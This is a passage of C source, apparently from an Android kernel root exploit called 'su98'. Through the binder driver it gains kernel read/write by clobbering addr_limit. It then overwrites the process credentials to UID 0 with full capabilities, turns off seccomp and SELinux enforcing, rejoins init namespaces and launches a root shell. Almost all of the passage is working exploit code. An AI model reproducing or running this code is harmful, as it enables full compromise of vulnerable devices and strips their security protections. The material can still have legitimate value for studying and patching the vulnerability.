1006 sprintf(cmd, "chmod 666 %s", pathname);
1007 system(cmd);
1008 message("cached %s", pathname);
1010 free(pathname);
1012 #endif
1015 unsigned long findSymbol(unsigned long pointInKernelMemory, char *symbol)
1017 unsigned long address = 0;
1019 #ifdef KALLSYMS_CACHING
1020 address = findSymbol_in_cache(symbol);
1021 if (address != 0)
1022 return address;
1023 #endif
1025 #ifndef PROC_KALLSYMS
1026 address = findSymbol_memory_search(symbol);
1027 #else
1028 char buf[1024];
1029 buf[0] = 0;
1030 errno = 0;
1032 FILE *ks = fopen("/proc/kallsyms", "r");
1033 if (ks == NULL) {
1034 return findSymbol_memory_search(symbol);
1036 fgets(buf, 1024, ks);
1037 if (ks != NULL)
1038 fclose(ks);
1040 if ( (buf[0] == 0 || strncmp(buf, "0000000000000000", 16) == 0) && fixKallsymsFormatStrings(pointInKernelMemory) == 0)
1042 message( "MAIN: **partial failure** cannnot fix kallsyms format string");
1043 address = findSymbol_memory_search(symbol);
1045 else {
1046 ks = fopen("/proc/kallsyms", "r");
1047 while (NULL != fgets(buf, sizeof(buf), ks))
1049 unsigned long a;
1050 unsigned char type;
1051 unsigned n = strlen(symbol);
1052 char sym[1024];
1053 sscanf(buf, "%lx %c %s", &a, &type, sym);
1054 if (!strncmp(sym, symbol, n) && (sym[n]=='.' || !sym[n])) {
1055 message( "found %s in /proc/kallsyms", sym);
1056 address = a;
1057 break;
1061 fclose(ks);
1063 #endif
1065 return address;
1068 void checkKernelVersion() {
1069 kernel3 = 1;
1070 FILE *k = fopen("/proc/version", "r");
1071 if (k != NULL) {
1072 char buf[1024]="";
1073 fgets(buf, sizeof(buf), k);
1074 if (NULL != strstr(buf, "Linux version 4"))
1075 kernel3 = 0;
1077 if (kernel3) message("MAIN: detected kernel version 3");
1078 else message("MAIN: detected kernel version other than 3");
1081 void getPackageName(unsigned uid, char* packageName) {
1082 if (uid == 2000) {
1083 strcpy(packageName, "adb");
1084 return;
1086 else if (uid == 0) {
1087 strcpy(packageName, "root");
1088 return;
1090 strcpy(packageName, "(unknown)");
1091 FILE* f = fopen("/data/system/packages.list", "r");
1092 if (f == NULL)
1093 return;
1094 unsigned id;
1095 char pack[MAX_PACKAGE_NAME];
1096 while(2 == fscanf(f, "%s %u%*[^\n]", pack, &id)) {
1097 if (id == uid) {
1098 strncpy(packageName, pack, MAX_PACKAGE_NAME);
1099 packageName[MAX_PACKAGE_NAME-1] = 0;
1100 goto DONE;
1103 DONE:
1104 fclose(f);
1107 int checkWhitelist(unsigned uid) {
1108 if (uid == 0 || uid == 2000)
1109 return 1;
1111 char *path = alloca(strlen(myPath) + sizeof(whitelist));
1112 strcpy(path, myPath);
1113 strcat(path, whitelist);
1115 FILE* wl = fopen(path, "r");
1117 if (wl == NULL) {
1118 message("MAIN: no whitelist, so all callers are welcome");
1119 return 1;
1122 char parent[MAX_PACKAGE_NAME];
1123 getPackageName(uid, parent);
1125 int allowed = 0;
1127 char line[512];
1128 while (NULL != fgets(line, sizeof(line), wl)) {
1129 line[sizeof(line)-1] = 0;
1130 char* p = line;
1131 while (*p && isspace(*p))
1132 p++;
1133 char*q = p + strlen(p) - 1;
1134 while (p < q && isspace(*q))
1135 *q-- = 0;
1136 if (q <= p)
1137 continue;
1138 if (*q == '*') {
1139 if (!strncmp(parent, p, q-p-1)) {
1140 allowed = 1;
1141 goto DONE;
1144 else if (!strcmp(parent,p)) {
1145 allowed = 1;
1146 goto DONE;
1150 DONE:
1151 fclose(wl);
1153 if (allowed)
1154 message("MAIN: whitelist allows %s", parent);
1155 else {
1156 if (parent[0]) {
1157 char *path = alloca(strlen(myPath) + sizeof(denyfile));
1158 strcpy(path, myPath);
1159 strcat(path, denyfile);
1160 FILE* f = fopen(path, "a");
1161 if (f != NULL) {
1162 fprintf(f, "%s\n", parent);
1163 fclose(f);
1168 return allowed;
1171 /* for devices with randomized thread_info location on stack: thanks to chompie1337 */
1172 unsigned long find_thread_info_ptr_kernel3(unsigned long kstack) {
1173 unsigned long kstack_data[16384/8];
1175 message("MAIN: parsing kernel stack to find thread_info");
1176 if (!leak_data_retry(NULL, 0, kstack, kstack_data, sizeof(kstack_data), NULL, NULL))
1177 error("Cannot leak kernel stack");
1179 for (unsigned int pos = 0; pos < sizeof(kstack_data)/8; pos++)
1180 if (kstack_data[pos] == USER_DS)
1181 return kstack+pos*8-8;
1183 return 0;
1186 unsigned long find_selinux_enforcing(unsigned long search_base) {
1187 unsigned long address = findSymbol(search_base, "selinux_enforcing");
1188 if (address == 0) {
1189 message("MAIN: direct search didn't work, so searching via avc_denied");
1190 address = findSymbol(search_base, "avc_denied");
1191 if (address == 0)
1192 return 0;
1193 address = findSelinuxEnforcingFromAvcDenied(address);
1195 return address;
1198 int main(int argc, char **argv)
1200 int command = 0;
1201 int dump = 0;
1202 int rejoinNS = 1;
1204 char result[PATH_MAX];
1205 ssize_t count = readlink("/proc/self/exe", result, PATH_MAX);
1206 char* p = strrchr(result, '/');
1207 if (p == NULL)
1208 p = result;
1209 else
1210 p++;
1211 *p = 0;
1212 myPath = result;
1214 p = strrchr(argv[0], '/');
1215 if (p == NULL)
1216 p = argv[0];
1217 else
1218 p++;
1220 myName = p;
1221 int n = p-argv[0];
1223 if (!strcmp(myName,"su")) {
1224 quiet = 1;
1227 while(argc >= 2 && argv[1][0] == '-') {
1228 switch(argv[1][1]) {
1229 case 'q':
1230 quiet = 1;
1231 break;
1232 case 'v':
1233 puts("su98 version 0.01");
1234 exit(0);
1235 break;
1236 case 'c':
1237 command = 1;
1238 quiet = 1;
1239 break;
1240 case 'd':
1241 dump = 1;
1242 break;
1243 case 'N':
1244 rejoinNS = 0;
1245 break;
1246 default:
1247 break;
1249 for (int i=1; i<argc-1; i++)
1250 argv[i] = argv[i+1];
1251 argc--;
1254 if (!dump && argc >= 2)
1255 quiet = 1;
1257 checkKernelVersion();
1259 message("MAIN: starting exploit for devices with waitqueue at 0x98");
1261 if (pipe(kernel_rw_pipe))
1262 error( "kernel_rw_pipe");
1264 binder_fd = open("/dev/binder", O_RDONLY);
1265 epfd = epoll_create(1000);
1267 unsigned long task_struct_plus_8 = 0xDEADBEEFDEADBEEFul;
1268 unsigned long task_struct_ptr = 0xDEADBEEFDEADBEEFul;
1270 if (!leak_data_retry(NULL, 0, 0, NULL, 0, &task_struct_ptr, &task_struct_plus_8)) {
1271 error("Failed to leak data");
1274 unsigned long thread_info_ptr;
1276 if (task_struct_plus_8 == USER_DS) {
1277 message("MAIN: thread_info is in task_struct");
1278 thread_info_ptr = task_struct_ptr;
1280 else {
1281 message("MAIN: thread_info should be in stack");
1282 thread_info_ptr = find_thread_info_ptr_kernel3(task_struct_plus_8);
1283 if (thread_info_ptr == 0)
1284 error("cannot find thread_info on kernel stack");
1287 message("MAIN: task_struct_ptr = %lx", (unsigned long)task_struct_ptr);
1288 message("MAIN: thread_info_ptr = %lx", (unsigned long)thread_info_ptr);
1289 message("MAIN: Clobbering addr_limit");
1290 unsigned long const src = 0xFFFFFFFFFFFFFFFEul;
1292 if (!clobber_data_retry(thread_info_ptr + 8, &src, 8)) {
1293 error("Failed to clobber addr_limit");
1296 message("MAIN: thread_info = 0x%lx", thread_info_ptr);
1298 setbuf(stdout, NULL);
1299 message("MAIN: should have stable kernel R/W now");
1301 if (dump) {
1302 unsigned long start, count;
1303 start = 0xffffffc000000000ul;
1304 count = 0x1000;
1306 if (argc >= 2)
1307 sscanf(argv[1], "%lx", &start);
1309 start &= ~7;
1311 if (argc >= 3)
1312 sscanf(argv[2], "%lx", &count);
1313 unsigned long search = 0;
1315 int emit = 0;
1317 if (argc >= 4)
1318 sscanf(argv[3], "%lx", &search);
1319 else
1320 emit = 1;
1322 unsigned char page[PAGE];
1323 for (unsigned long i=start; i<start+count ; i+=PAGE) {
1324 kernel_read(i, page, PAGE);
1325 if (!emit) {
1326 for (int j=0; j<PAGE; j+=8) {
1327 if (*(unsigned long*)(page+j)==search) {
1328 emit = 1;
1329 break;
1333 if (emit) {
1334 printf("%lx:\n", i);
1335 unsigned long n = start+count-i;
1336 if (n>=PAGE) {
1337 n = PAGE;
1339 else {
1340 n = (n+15)/16*16;
1342 hexdump_memory(page, n);
1345 exit(0);
1349 message("MAIN: searching for cred offset in task_struct");
1350 unsigned char task_struct_data[PAGE+16];
1351 kernel_read(task_struct_ptr, task_struct_data, PAGE);
1353 unsigned long offset_task_struct__cred = getCredOffset(task_struct_data);
1355 unsigned long cred_ptr = kernel_read_ulong(task_struct_ptr + offset_task_struct__cred);
1357 #ifdef OFFSET__cred__user_ns
1358 unsigned long search_base = kernel_read_ulong(cred_ptr + OFFSET__cred__user_ns);
1359 if (search_base < 0xffffffc000000000ul || search_base >= 0xffffffd000000000ul)
1360 search_base = 0xffffffc001744b70ul;
1361 #else
1362 #define search_base 0xffffffc000000000ul
1363 #endif
1365 message("MAIN: search_base = %lx", search_base);
1367 message("MAIN: searching for selinux_enforcing");
1368 unsigned long selinux_enforcing = find_selinux_enforcing(search_base);
1370 // unsigned long selinux_enabled = findSymbol(search_base, "selinux_enabled");
1372 unsigned int oldUID = getuid();
1374 message("MAIN: setting root credentials with cred offset %lx", offset_task_struct__cred);
1376 for (int i = 0; i < 8; i++)
1377 kernel_write_uint(cred_ptr + OFFSET__cred__uid + i * 4, 0);
1379 if (getuid() != 0)
1380 error( "changing UIDs to 0");
1382 message("MAIN: UID = 0");
1384 message("MAIN: enabling capabilities");
1386 // reset securebits
1387 kernel_write_uint(cred_ptr + OFFSET__cred__securebits, 0);
1389 kernel_write_ulong(cred_ptr+OFFSET__cred__cap_inheritable, 0x3fffffffffUL);
1390 kernel_write_ulong(cred_ptr + OFFSET__cred__cap_permitted, 0x3fffffffffUL);
1391 kernel_write_ulong(cred_ptr + OFFSET__cred__cap_effective, 0x3fffffffffUL);
1392 kernel_write_ulong(cred_ptr + OFFSET__cred__cap_bset, 0x3fffffffffUL);
1393 kernel_write_ulong(cred_ptr+OFFSET__cred__cap_ambient, 0x3fffffffffUL);
1395 int seccompStatus = prctl(PR_GET_SECCOMP);
1396 message("MAIN: SECCOMP status %d", seccompStatus);
1397 if (seccompStatus)
1399 message("MAIN: disabling SECCOMP");
1400 kernel_write_ulong(thread_info_ptr + OFFSET__thread_info__flags, 0);
1401 // TODO: search for seccomp offset
1402 int offset__task_struct__seccomp = getSeccompOffset(task_struct_data, offset_task_struct__cred, seccompStatus);
1403 if (offset__task_struct__seccomp < 0)
1404 message("MAIN: **FAIL** cannot find seccomp offset");
1405 else {
1406 message("MAIN: seccomp offset %lx", offset__task_struct__seccomp);
1407 kernel_write_ulong(task_struct_ptr + offset__task_struct__seccomp, 0);
1408 kernel_write_ulong(task_struct_ptr + offset__task_struct__seccomp + 8, 0);
1409 message("MAIN: SECCOMP status %d", prctl(PR_GET_SECCOMP));
1413 unsigned prev_selinux_enforcing = 1;
1415 if (selinux_enforcing == 0)
1416 message("MAIN: **FAIL** did not find selinux_enforcing symbol");
1417 else
1419 prev_selinux_enforcing = kernel_read_uint(selinux_enforcing);
1420 kernel_write_uint(selinux_enforcing, 0);
1421 message("MAIN: disabled selinux enforcing");
1423 cacheSymbol("selinux_enforcing", selinux_enforcing);
1426 if (rejoinNS) {
1427 char cwd[1024];
1428 getcwd(cwd, sizeof(cwd));
1430 message("MAIN: re-joining init mount namespace");
1431 int fd = open("/proc/1/ns/mnt", O_RDONLY);
1433 if (fd < 0) {
1434 error("open");
1435 exit(1);
1438 if (setns(fd, CLONE_NEWNS) < 0) {
1439 message("MAIN: **partial failure** could not rejoin init fs namespace");
1442 message("MAIN: rejoining init net namespace");
1444 fd = open("/proc/1/ns/net", O_RDONLY);
1446 if (fd < 0) {
1447 error("open");
1450 if (setns(fd, CLONE_NEWNET) < 0) {
1451 message("MAIN: **partial failure** could not rejoin init net namespace");
1454 chdir(cwd);
1457 if (!checkWhitelist(oldUID)) {
1458 if (0 != selinux_enforcing) {
1459 kernel_write_uint(selinux_enforcing, prev_selinux_enforcing);
1461 errno = 0;
1462 error("Whitelist check failed");
1465 message("MAIN: root privileges ready");
1467 /* process hangs if these are done */
1468 // unsigned long security_ptr = kernel_read_ulong(cred_ptr + OFFSET__cred__security);
1469 // kernel_write_uint(security_ptr, 1310);
1470 // kernel_write_uint(security_ptr+4, 1310);
1471 // for (int i=0; i<6; i++)
1472 // message("SID %u : ", kernel_read_uint(security_ptr + 4 * i));
1474 if (command || argc == 2) {
1475 execlp("sh", "sh", "-c", argv[1], (char *)0);
1477 else {
1478 message("MAIN: popping out root shell");
1479 execlp("sh", "sh", (char*)0);
1482 exit(0);